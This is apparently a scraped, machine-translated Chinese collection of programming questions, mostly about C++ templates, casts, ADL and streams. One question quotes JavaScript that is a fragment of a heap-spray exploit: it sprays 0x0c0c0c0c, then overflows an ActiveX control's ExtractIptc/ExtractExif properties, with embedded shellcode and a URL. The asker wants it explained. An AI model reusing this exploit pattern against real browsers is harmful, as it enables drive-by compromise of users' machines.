我想知道是否有人可以解释那些条款,因为我在许多地方遇到它们.我知道一些关于它们的基本理论,但不确定我所知道的是对还是错.
那么任何人都可以解释这些条款吗?
我想知道是否有人可以告诉或解释一些xvalues,glvalues和prvalues的真实例子?我读过类似的问题:
什么是右值,左值,x值,glvalues和prvalues?
但我不明白每个人的意思.任何人都可以解释在什么情况下这些值是重要的,何时应该使用它们?
似乎理解模板模板param会杀了我:(,lemme解释我在脑海里制造的误解让我困惑:
template<class T>
class B {}; // A templated class
Run Code Online (Sandbox Code Playgroud)
这是另一个代码:
template<template<class X> class Z = B> // problem is in this line for me
class BB{};
Run Code Online (Sandbox Code Playgroud)
注意模板化类BB参数列表中的行,即:
template<class X> class Z = B
Run Code Online (Sandbox Code Playgroud)
现在我要问的是什么阻止c ++认为Z不是另一个模板化的Z类,即:
template<class X> class Z{
}
Run Code Online (Sandbox Code Playgroud)
而不是认为Z类是模板参数本身.
非常感谢,我真的很感激任何帮助从我的脑海中消除这种误解)
我已经完成了我的C++类和实践,之后我开始使用Ivor Horton的Visual C++学习Visual C++.问题是我无法理解本书的语言,并且严重地试图理解这些代码.我想学习用于Windows应用程序开发的Visual C++并在其中创造我的未来(也因为我已经了解C++).
我的一些朋友告诉我切换到C#,因为它有许多库函数来创建GUI等,并告诉我在Visual C++中编写Windows应用程序很困难.
现在在这些假期我将参加课程,你能帮助我,我应该坚持哪种语言,哪一种很容易?
从一开始我就想学习Visual C++,有时我觉得当我不理解参考书中的概念等时很难.
非常感谢任何帮助,非常感谢您花费宝贵的时间.
这是来自依赖于参数的查询的后续问题,只搜索名称空间或类吗?,其中@DavidRodríguez说"ADL将查看该类型的封闭命名空间,以及类型本身内部 ".我可能错了他想说的但是我试着这个例子:
struct foo{
static void bar(foo* z){}
};
int main(){
foo* z;
bar(z);
}
Run Code Online (Sandbox Code Playgroud)
它没有编译,产生错误"'bar'未在此范围内声明".是不是ADL不考虑静态成员函数?我的意思是在示例中关联类是foo
不是ADL看起来在类中?.任何人都可以在这里简化规则吗?
我不明白这段代码:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
Run Code Online (Sandbox Code Playgroud)
在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta
变量做了什么,以及它分配给它的内容:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)
我也无法弄清楚这个功能:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
以下代码是什么意思?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
这是一个什么样的变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …
Run Code Online (Sandbox Code Playgroud) 我希望做这样的事情:
template<typename ...T> struct foo
{
bar<0 /*to index through types in pack*/ ,T...>::type var1;
bar<1 /*to index through types in pack*/ ,T...>::type var2;
...
}
Run Code Online (Sandbox Code Playgroud)
但是我该怎么定义bar
?这样做没有想到递归技术.
我想要一种通用技术,以便我可以从类型包中键入任何特定类型,而不仅仅是示例中显示的两种类型.
我不确定之前是否曾被问过,但一定是我相信的.考虑问题开始的简单路线:
int a ;
char b = reinterpret_cast<char> (a);
Run Code Online (Sandbox Code Playgroud)
我理解reinterpret_cast
将类型x的位模式解释为类型y,因为大小不匹配它不应该工作,实际上它不会.
现在考虑另一个代码:
int a ;
char b = static_cast<char> (a);
Run Code Online (Sandbox Code Playgroud)
这有效!.现在我的问题是它是如何工作的?我的意思是编译器会切掉这些位吗?.我确定sizeof(char) < sizeof(int)
.如果那样,reinterpret_cast
还应该采用相同的技术吗?
海亚,
让我解释一下我的观点。
template<typename T>
class node{
T data;
template<typename X>
node<X>* right; // can point to any node<typename> i know its wrong
}
Run Code Online (Sandbox Code Playgroud)
这样我就可以做类似的事情:
node<int> a;
a.data = 23;
node<float> b;
b.data =43.6;
a.right= b;
std::cout<< a.data <<a.right->data;
Run Code Online (Sandbox Code Playgroud)
另一个例子:
template <class Type>
struct vnode {
Type data;
vnode<Type> * vnodenext;
// vrow what_to_put_here // **i don't want to use void ptrs neither want to cast back manually**
}
Run Code Online (Sandbox Code Playgroud)
在 main 函数中,如果我定义了vnode
类型的结构string
和vnode
类型的另一个结构,那么我应该在结构定义中int
替换什么指针 def …
这个问题来自这个小奇迹:Comparer<T>.Default
。我想知道作者在一行中写了什么:
如果要比较的类型已经实现
IComparable<T>
或者类型是System.Nullable<T>
T 实现的位置IComparable
,则System.Collections.Generic 命名空间中有一个名为 的类,它公开一个名为 Default 的属性,该属性将创建一个单例,表示项目的默认比较器那种类型。Comparer<T>
例如:
我有一堂课:
class Foo : IComparable<Foo> { ... }
public class FooComparer : IComparer<Foo> { ... }
Run Code Online (Sandbox Code Playgroud)
比较器类实现为public abstract class Comparer<T> : IComparer, IComparer<T>
. 我的问题是 Default 属性总体上是如何工作的,它有什么作用以及它是如何工作的?
谢谢
#include <iostream>
int main()
{
int foo;
std::cin.rdbuf(std::cout.rdbuf());
std::cin>>foo; // what'll happen at this line? whatever I'll input will go to cout's buffer then to foo , right?
}
Run Code Online (Sandbox Code Playgroud)
我以为上面的代码会将cin
缓冲区设置为cout
缓冲区,所以当我输入一些数字时它也会被输出.我想我对自己的程序感到困惑.谁能告诉我程序中发生了什么?
另外,如果我在结尾添加一行:std::cout<<foo;
,那么它会打印随机数,这意味着foo永远不会得到输入.那么整体上发生了什么?
我正在尝试做一些实际的工作,并且正在考虑做这样的事情,但找不到任何解决方案,如何运行这个程序?(注意:这只是一个理论或者说与现实世界关系无关的抽象实践)
template<typename T> class animal
{
public:
T data;
animal():data(T()) {}
};
template<typename Foo> class amph
{
Foo fooo;
public:
amph():fooo(Foo()) {}
};
template<typename T>
template<typename Foo>
class lion : public animal<T> ,public amph<Foo> // error: too many template-parameter-lists
{
std::string name;
public:
lion():name(std::string()) {}
};
int main(int argc, const char *argv[])
{
animal<std::string> notGoodAnimal;
lion<int><int> mylion;// this line is probelm
}
Run Code Online (Sandbox Code Playgroud)
那么我们怎样才能运行这个?,谢谢0_o